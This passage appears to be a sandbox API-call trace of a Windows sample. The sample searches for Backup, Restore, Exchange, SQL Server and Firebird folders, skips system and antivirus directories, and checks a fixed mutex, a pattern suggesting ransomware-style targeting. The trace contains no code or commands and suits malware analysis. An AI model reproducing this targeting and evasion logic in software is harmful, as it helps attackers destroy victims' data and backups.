lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\眵?\x18") returned 6 [0055.376] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@册U企@\x18?T\x18\x88")) returned 0xffffffff [0055.376] GetLastError () returned 0x2 [0055.376] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.376] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0055.377] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\眵?\x18") returned 6 [0055.377] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@℔R企@\x18?T\x18\x8f")) returned 0xffffffff [0055.377] GetLastError () returned 0x2 [0055.377] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.377] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0055.377] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\眵?\x18") returned 7 [0055.377] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@ꠜR企@\x18?T\x18\x97")) returned 0xffffffff [0055.377] GetLastError () returned 0x2 [0055.378] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.378] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0055.378] GlobalLock (hMem=0x440004) returned 0x550170 [0055.378] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.378] GlobalUnlock (hMem=0x440004) returned 0 [0055.378] GlobalLock (hMem=0x440004) returned 0x550170 [0055.378] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.378] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.378] GlobalUnlock (hMem=0x440004) returned 0 [0055.378] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.378] GlobalUnlock (hMem=0x44000c) returned 0 [0055.378] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.378] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.378] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0055.378] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.378] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0055.378] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0055.379] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.379] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.379] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0055.379] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.379] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0055.379] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0055.379] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.379] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.379] GlobalUnlock (hMem=0x44000c) returned 0 [0055.379] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.379] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.379] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.379] GlobalUnlock (hMem=0x44000c) returned 0 [0055.379] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.379] GlobalUnlock (hMem=0x440004) returned 0 [0055.379] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.379] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0055.380] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.380] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0055.380] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.380] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0055.380] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.380] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0055.380] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.380] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0055.380] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.380] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0055.381] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.381] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0055.381] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.381] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0055.381] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\") returned 0x3c [0055.381] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0055.381] GlobalLock (hMem=0x440004) returned 0x550170 [0055.381] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.381] GlobalUnlock (hMem=0x440004) returned 0 [0055.381] GlobalLock (hMem=0x440004) returned 0x550170 [0055.381] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.381] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.381] GlobalUnlock (hMem=0x440004) returned 0 [0055.382] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.382] GlobalUnlock (hMem=0x44000c) returned 0 [0055.382] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61cf8, cbMultiByte=3, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\眵?\x18") returned 3 [0055.382] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0055.382] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.382] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0055.382] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0 [0055.382] GetLastError () returned 0x12 [0055.382] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0055.382] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.382] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.382] GlobalUnlock (hMem=0x44000c) returned 0 [0055.382] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.383] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.383] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.383] GlobalUnlock (hMem=0x44000c) returned 0 [0055.383] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.383] GlobalUnlock (hMem=0x440004) returned 0 [0055.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d28, cbMultiByte=3, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\眵?\x18") returned 3 [0055.384] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0055.384] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0055.384] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.387] GlobalLock (hMem=0x440004) returned 0x550170 [0055.387] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.387] GlobalUnlock (hMem=0x440004) returned 0 [0055.387] GlobalLock (hMem=0x440004) returned 0x550170 [0055.387] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.387] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.387] GlobalUnlock (hMem=0x440004) returned 0 [0055.388] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.388] GlobalUnlock (hMem=0x44000c) returned 0 [0055.388] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.389] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.389] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0055.389] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.389] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.389] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.389] GlobalUnlock (hMem=0x44000c) returned 0 [0055.389] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.390] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.390] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.390] GlobalUnlock (hMem=0x44000c) returned 0 [0055.422] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.422] GlobalUnlock (hMem=0x440004) returned 0 [0055.422] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.422] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0055.422] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0055.422] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.423] GlobalLock (hMem=0x440004) returned 0x550170 [0055.423] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.423] GlobalUnlock (hMem=0x440004) returned 0 [0055.423] GlobalLock (hMem=0x440004) returned 0x550170 [0055.423] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.423] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.423] GlobalUnlock (hMem=0x440004) returned 0 [0055.423] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.423] GlobalUnlock (hMem=0x44000c) returned 0 [0055.423] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.423] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.423] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.423] GlobalUnlock (hMem=0x44000c) returned 0 [0055.423] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.423] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.423] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.423] GlobalUnlock (hMem=0x44000c) returned 0 [0055.423] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.423] GlobalUnlock (hMem=0x440004) returned 0 [0055.423] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.423] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts", len=0x41 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts") returned 1 [0055.423] GlobalLock (hMem=0x440004) returned 0x550170 [0055.423] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.423] GlobalUnlock (hMem=0x440004) returned 0 [0055.423] GlobalLock (hMem=0x440004) returned 0x550170 [0055.423] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.423] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.424] GlobalUnlock (hMem=0x440004) returned 0 [0055.424] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.424] GlobalUnlock (hMem=0x44000c) returned 0 [0055.424] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0055.424] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@꟔RꞨR企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0055.434] GetLastError () returned 0x3 [0055.434] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0055.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0055.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@ꜤR企@\x18㿬Q\x181")) returned 0xffffffff [0055.436] GetLastError () returned 0x2 [0055.436] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0055.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0055.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@帜R企@\x18?T\x18;")) returned 0xffffffff [0055.437] GetLastError () returned 0x2 [0055.437] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.437] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0055.438] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0055.438] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, 